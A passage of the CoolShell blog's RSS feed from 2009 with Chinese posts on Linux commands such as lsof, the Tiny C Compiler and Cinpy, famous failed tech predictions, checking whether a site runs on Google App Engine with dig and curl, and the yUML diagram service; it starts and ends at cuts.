    0 --:--:-- --:--:-- --:--:-- 2073k\n[hchen@RHELSVR5 ~]# xmlwf cocre.xml\n[hchen@RHELSVR5 ~]# perl -i -pe &#039;s@&lt;link&gt;@&lt;br&gt;@g&#039; cocre.xml\n[hchen@RHELSVR5 ~]# xmlwf cocre.xml\ncocre.xml:13:23: mismatched tag\n</pre>\n<p> </p>\n<p><strong>10）lsof</strong></p>\n<p>可以列出打开了的文件。</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n[root@RHELSVR5 ~]# lsof | grep TCP\nhttpd       548    apache    4u     IPv6   14300967    TCP *:http (LISTEN)\nhttpd       548    apache    6u     IPv6   14300972    TCP *:https (LISTEN)\nhttpd       561    apache    4u     IPv6   14300967    TCP *:http (LISTEN)\nhttpd       561    apache    6u     IPv6   14300972    TCP *:https (LISTEN)\nsshd       1764      root    3u     IPv6       4993    TCP *:ssh (LISTEN)\ntcpserver  8965      root    3u     IPv4  153795500    TCP *:pop3 (LISTEN)\nmysqld    10202     mysql   10u     IPv4   73819697    TCP *:mysql (LISTEN)\nsshd      10735      root    3u     IPv6  160731956    TCP 210.51.0.232:ssh-&gt;123.117.239.68:31810 (ESTABLISHED)\nsshd      10767     hchen    3u     IPv6  160731956    TCP 210.51.0.232:ssh-&gt;123.117.239.68:31810 (ESTABLISHED)\nvsftpd    11095      root    3u     IPv4  152157957    TCP *:ftp (LISTEN)\n</pre>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 篇</a></li><li ><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1-150x150.png\" alt=\"记一次Kubernetes/Docker网络排障\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_title\">记一次Kubernetes/Docker网络排障</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/07/cache-150x150.png\" alt=\"缓存更新的套路\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_title\">缓存更新的套路</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/790.html\">十个你可能不曾用过的Linux命令</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/790.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>5</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>用TCC可以干些什么？</title>\n\t\t<link>https://coolshell.cn/articles/786.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/786.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 10 May 2009 07:22:15 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[Python]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Cinpy]]></category>\n\t\t<category><![CDATA[TCC]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=786</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Tiny C Compiler 是一个微型的 C 语言编译器，支持 Windows 和 Linux 平台。其项目主页是： http://bellard.org/...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/786.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/786.html\">用TCC可以干些什么？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>Tiny C Compiler 是一个微型的 C 语言编译器，支持 Windows 和 Linux 平台。其项目主页是： <a href=\"http://bellard.org/tcc/\" target=\"_blank\">http://bellard.org/tcc/</a> 。你可以使用这个不到100K的编译器编译你的C文件，其支持C的预处理，编译，机器码汇编和链接。编译速度也超过了gcc，而且它支持ISO C99标准，并且，tcc还包括了一些内存和数组边界的检查。其还可以编译Linux的内核。</p>\n<p>不过，TCC 最有趣的特性是可以用 UNIX 系统上常见的 #!/usr/bin/tcc 的方式来执行 ANSI C 语言写就的源程序，省略掉了在命令行上进行编译和链接的步骤，而可以直接运行 C 语言写就的源程序。这样就能做到像任何一种其它的脚本语言比如 Perl 或者是 Python 一样，显著的加快开发步调。可以像编写 Shell 脚本一样的使用 C 语言，随便想一想都觉得是一件奇妙的事情。但是 TCC 还有一些其它的特性呢！</p>\n<p><span id=\"more-786\"></span></p>\n<p>在TCC这个超小型的C语言编译器下，我们还可以干得更多，比如这个开源项目：C in Python，项目主页是：<a href=\"http://www.cs.tut.fi/~ask/cinpy/\">http://www.cs.tut.fi/~ask/cinpy/</a>，这个项目主要是让你可以在Python中直接使用C的源码。呵呵。</p>\n<p>Cinpy 是一个Python的库，它可以让你在Python的模块中实现C的函数。在前些天，酷壳向大家介绍过《<a class=\"title\" rel=\"bookmark\" href=\"https://coolshell.cn/articles/671.html\"><span style=\"color: #4c4c4c;\">Python调用C语言函数</span></a>》——这主要是通过调用动态链接库的方式调用C的函数。而Cinpy则是直接在Python中写C语言。</p>\n<p>我们来看一个示例：（部分代码）</p>\n<pre data-enlighter-language=\"python\" class=\"EnlighterJSRAW\">\nimport ctypes\nimport cinpy\n\n# Fibonacci in Python\ndef fibpy(x):\n    if x&lt;=1: return 1\n    return fibpy(x-1)+fibpy(x-2)\n\n# Fibonacci in C\nfibc=cinpy.defc(&quot;fib&quot;,\n                ctypes.CFUNCTYPE(ctypes.c_long,ctypes.c_int),\n                &quot;&quot;&quot;\n                long fib(int x) {\n                    if (x&lt;=1) return 1;\n                    return fib(x-1)+fib(x-2);\n                }\n                &quot;&quot;&quot;)\n\n# ...and then just use them...\n# (there _is_ a difference in the performance)\nprint fibpy(30)\nprint fibc(30)\n</pre>\n<p>源代码这里下载：<a href=\"https://coolshell.cn/wp-admin/cinpy-0.10.tar.gz\">cinpy-0.10.tar.gz</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" alt=\"Python修饰器的函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_title\">Python修饰器的函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/yoda-lambda-150x150.png\" alt=\"函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_title\">函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"类型的本质和函数式实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_title\">类型的本质和函数式实现</a></li><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li><li ><a href=\"https://coolshell.cn/articles/4939.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Quora使用到的技术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4939.html\" class=\"wp_rp_title\">Quora使用到的技术</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/786.html\">用TCC可以干些什么？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/786.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>34</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>十大最失水准的科技预测</title>\n\t\t<link>https://coolshell.cn/articles/783.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/783.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 10 May 2009 06:45:05 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=783</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>英国权威消费数码杂志T3评出了有史以来十大最失水准的科技预测。比尔·盖茨也占了其中2项。预测未来的确是一件很难的事情，即便是最聪明的人也会马失前蹄。 1.  下...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/783.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/783.html\">十大最失水准的科技预测</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>英国权威消费数码杂志T3评出了有史以来十大最失水准的科技预测。比尔·盖茨也占了其中2项。预测未来的确是一件很难的事情，即便是最聪明的人也会马失前蹄。</p>\n<p>1.  下一个圣诞节，iPod将会死去，完蛋，过时。<em><span style=\"color: #808080;\"> Allan Sugar爵士（一个很著名的英国企业家，和BBC合作一个著名的节目《学徒》）, 2005.</span><br />\n</em>2.  家庭不需要有一台电脑。  <em><span style=\"color: #808080;\">Ken Olsen, Digital Equipment简称DEC的创始人, 1977.</span></em><br />\n3.  核能吸尘器将在10年内成为现实。  <span style=\"color: #808080;\"><em>Alex Lewyt（</em>真空吸尘器公司Lewyt Corp的CEO<em>）, 1955.</em></span><br />\n4.  电视不可能兴盛起来，因为人们“很快就会因为每晚盯着一个胶合板盒子而感到厌烦”。 <span style=\"color: #808080;\"><em>Darryl Zanuck（</em> 好莱坞多栖明星<em>）, 1946.</em></span><br />\n5.  1933年，在可容纳10名乘客的波音247首航之后，一名自豪的波音工程师曾表示：“永远不可能制造出比247更大的飞机”。 <span style=\"color: #808080;\"><em>Boeing engineer, 1933.</em></span></p>\n<p><span id=\"more-783\"></span><br />\n6.  我们已处在火箭邮递时代开始的前夜。 <span style=\"color: #808080;\"><em>Arthur Summerfield（美国邮政部长）, 1959.</em></span><br />\n7.  不可能再有人需要为自己的PC安装超过640 KB的内存。 <span style=\"color: #808080;\"><em>Bill Gates, allegedly in  1981</em></span><br />\n8.  美国人需要电话，但我们并不需要，因为我们有数量庞大的信差。 <span style=\"color: #808080;\"><em>William Preece 爵士, </em>英国邮政总局首席工程师<em>, 1874.</em></span><br />\n9.  垃圾邮件问题将在两年内得到解决。 <span style=\"color: #808080;\"><em>Bill Gates, 2004.</em></span><br />\n10. 事实将证明，X射线不过是一个骗局。  <span style=\"color: #808080;\"><em>Lord Kelvin, </em>英国皇家学会会长<em>, 1883.</em></span></p>\n<p><span style=\"color: #808080;\">原文链接: <a href=\"http://www.t3.com/news/sugar-ipod-error-is-worst-tech-prediction?=37516\"><span style=\"color: #5588aa;\">http://www.t3.com/news/sugar-ipod-error-is-worst-tech-prediction?=37516</span></a> </span><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/2015.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg\" alt=\"google的免费dns服务器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2015.html\" class=\"wp_rp_title\">google的免费dns服务器</a></li><li ><a href=\"https://coolshell.cn/articles/1432.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg\" alt=\"编译vim解决中文支持\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1432.html\" class=\"wp_rp_title\">编译vim解决中文支持</a></li><li ><a href=\"https://coolshell.cn/articles/3267.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/11/flash_vs_html5-150x150.jpg\" alt=\"游戏Flash vs HTML5\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3267.html\" class=\"wp_rp_title\">游戏Flash vs HTML5</a></li><li ><a href=\"https://coolshell.cn/articles/753.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg\" alt=\"不要拯救那些职场上的“无可救药”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/753.html\" class=\"wp_rp_title\">不要拯救那些职场上的“无可救药”</a></li><li ><a href=\"https://coolshell.cn/articles/3921.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/03/IE6-Countdown-150x150.png\" alt=\"中国仍是IE6的重灾区\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3921.html\" class=\"wp_rp_title\">中国仍是IE6的重灾区</a></li><li ><a href=\"https://coolshell.cn/articles/3463.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/01/Inner_Join-150x150.png\" alt=\"图解SQL的Join\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3463.html\" class=\"wp_rp_title\">图解SQL的Join</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/783.html\">十大最失水准的科技预测</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/783.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>3</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>如何知道某网站运行在GAE上</title>\n\t\t<link>https://coolshell.cn/articles/780.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/780.html#respond</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 06 May 2009 08:33:52 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Google]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=780</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>GAE就是Google Application Engine，通过Alexa的网站排名系统，我们可以知道Top 10的使用GAE的网站，他们是：（截止至今天） ...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/780.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/780.html\">如何知道某网站运行在GAE上</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>GAE就是<a href=\"http://code.google.com/appengine/\" target=\"_blank\">Google Application Engine</a>，通过Alexa的网站排名系统，我们可以知道Top 10的使用GAE的网站，他们是：（截止至今天）</p>\n<li>1. <a href=\"http://www.robtex.com/\">www.robtex.com</a> (Alexa rank: 1691)</li>\n<li>2. <a href=\"http://www.twibes.com/\">www.twibes.com</a> (Alexa rank: 13143)</li>\n<li>3. <a href=\"http://www.acid-play.com/\">www.acid-play.com</a> (Alexa rank: 25884)</li>\n<li>4. <a href=\"http://www.jaiku.com/\">www.jaiku.com</a> (Alexa rank: 29061)</li>\n<li>5. <a href=\"http://www.wordle.net/\">www.wordle.net</a> (Alexa rank: 34022)</li>\n<li>6. <a href=\"http://www.twazzup.com/\">www.twazzup.com</a> (Alexa rank: 40910)</li>\n<li>7. <a href=\"http://www.twollo.com/\">www.twollo.com</a> (Alexa rank: 41414)</li>\n<li>8. <a href=\"http://www.downforeveryoneorjustme.com/\">www.downforeveryoneorjustme.com</a> (Alexa rank: 41718)</li>\n<li>9. <a href=\"http://www.chromeexperiments.com/\">www.chromeexperiments.com</a> (Alexa rank: 49899)</li>\n<li>10. <a href=\"http://www.desktop-reporting.com/\">www.desktop-reporting.com</a> (Alexa rank: 51447)</li>\n<p>那么，我们如何才能知道一个网站是运行在GAE上的呢？</p>\n<p><span id=\"more-780\"></span></p>\n<p>如果一个网站运行在GAE上，那么其会有如下三个事情会为真：</p>\n<ul>\n<li>网站的 别名记录（CNAME）会 指向ghs.google.com， ghs.l.google.com 或者appspot.l.google.com 。</li>\n<li>访问网站的/form 路径会返回Google风格的404 错误页。</li>\n<li>网站的&#8221;Server&#8221;标题会是 &#8220;Google Frontend&#8221;</li>\n</ul>\n<p>测试这三个条件并不难，在Linux下，我们可以用这样的命令行检查：</p>\n<p><code><strong>有google.com字样的CNAME</strong><br />\n  dig www.example.com cname | egrep -i 'cname.*google.com'</code></p>\n<p><code><strong>Google 404 错误for /form:</strong><br />\n  curl -s -D - http://www.example.com/form | egrep 'G.*o.*o.*g.*l.*e'</code></p>\n<p><code><strong>\"Google Frontend\" 字符串<br />\n</strong></code><code>  curl -s -D - http://www.example.com/ | egrep '^Server:'</code></p>\n<p>请注意，头两个条件在一些时候对于运行在Blogspot 的主机也是成立的，估计Blogspot就是运行在GAE上的一个站点。但第三个条件就不一样了。GAE上的是&#8221;Google Frontend&#8221;，而 Blogspot上的则是 &#8220;GFE/2.0&#8243;。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2023/02/chatgpt-150x150.jpg\" alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_title\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li ><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" alt=\"Google Inbox如何跨平台重用代码？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_title\">Google Inbox如何跨平台重用代码？</a></li><li ><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" alt=\"PFIF网上寻人协议\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_title\">PFIF网上寻人协议</a></li><li ><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"来信， 创业 和 移动互联网\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_title\">来信， 创业 和 移动互联网</a></li><li ><a href=\"https://coolshell.cn/articles/5701.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"SteveY对Amazon和Google平台的吐槽\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5701.html\" class=\"wp_rp_title\">SteveY对Amazon和Google平台的吐槽</a></li><li ><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg\" alt=\"一些文章和各种资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_title\">一些文章和各种资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/780.html\">如何知道某网站运行在GAE上</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/780.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>0</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>一个在线的画UML图的网站</title>\n\t\t<link>https://coolshell.cn/articles/776.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/776.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 06 May 2009 08:16:48 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[UML]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=776</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>http://yuml.me/ 这个网站可以允许你在线地，通过一些UML的语法，生成相应的图片。 比如，如果你输入： &#60;img src=&#34;htt...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/776.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/776.html\">一个在线的画UML图的网站</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<p style=\"TEXT-ALIGN: center\"><a href=\"http://yuml.me/\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-777\" title=\"yUML.me\" src=\"https://coolshell.cn/wp-content/uploads/2009/05/yuml.jpg\" alt=\"yUML\" width=\"245\" height=\"123\" /></a></p>\n<p style=\"TEXT-ALIGN: center\"><a href=\"http://yuml.me/\">http://yuml.me/</a></p>\n<p style=\"TEXT-ALIGN: left\">这个网站可以允许你在线地，通过一些UML的语法，生成相应的图片。</p>\n<p style=\"TEXT-ALIGN: left\">比如，如果你输入：</p>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">\n&lt;img src=&quot;http://yuml.me/diagram/class/[Customer]1-0..*[Address]&quot;/&gt;\n</pre>\n<p><span id=\"more-776\"></span><br />\n那么，你就可以得到下面的图片：</p>\n<p style=\"TEXT-ALIGN: center\"><img decoding=\"async\" src=\"http://yuml.me/diagram/class/[Customer]1-0..*[Address]\" alt=\"\" /></p>\n<p style=\"TEXT-ALIGN: left\">如果，我们输入：</p>\n<p style=\"TEXT-ALIGN: left\">\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">\n&lt;img src=&quot;http://yuml.me/diagram/class/\n[User|+Forename+;Surname;+HashedPassword;-Salt|+Login();+Logout()]&quot; alt=&quot;&quot; /&gt;\n</pre>\n<p style=\"text-align: center;\"><img decoding=\"async\" src=\"http://yuml.me/diagram/class/[User|+Forename+;Surname;+HashedPassword;-Salt|+Login();+Logout()]\" alt=\"\" /></p>\n<p style=\"text-align: left;\"> </p>\n<p style=\"text-align: left;\">还有Use Case：</p>\n<p style=\"text-align: left;\">\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">\n&lt;img src=&quot;http://yuml.me/diagram/usecase/[Customer]-(Login), [Customer]-(Logout)&quot;/&gt;\n</pre>\n<p style=\"text-align: center;\"><img decoding=\"async\" src=\"http://yuml.me/diagram/usecase/[Customer]-(Login), 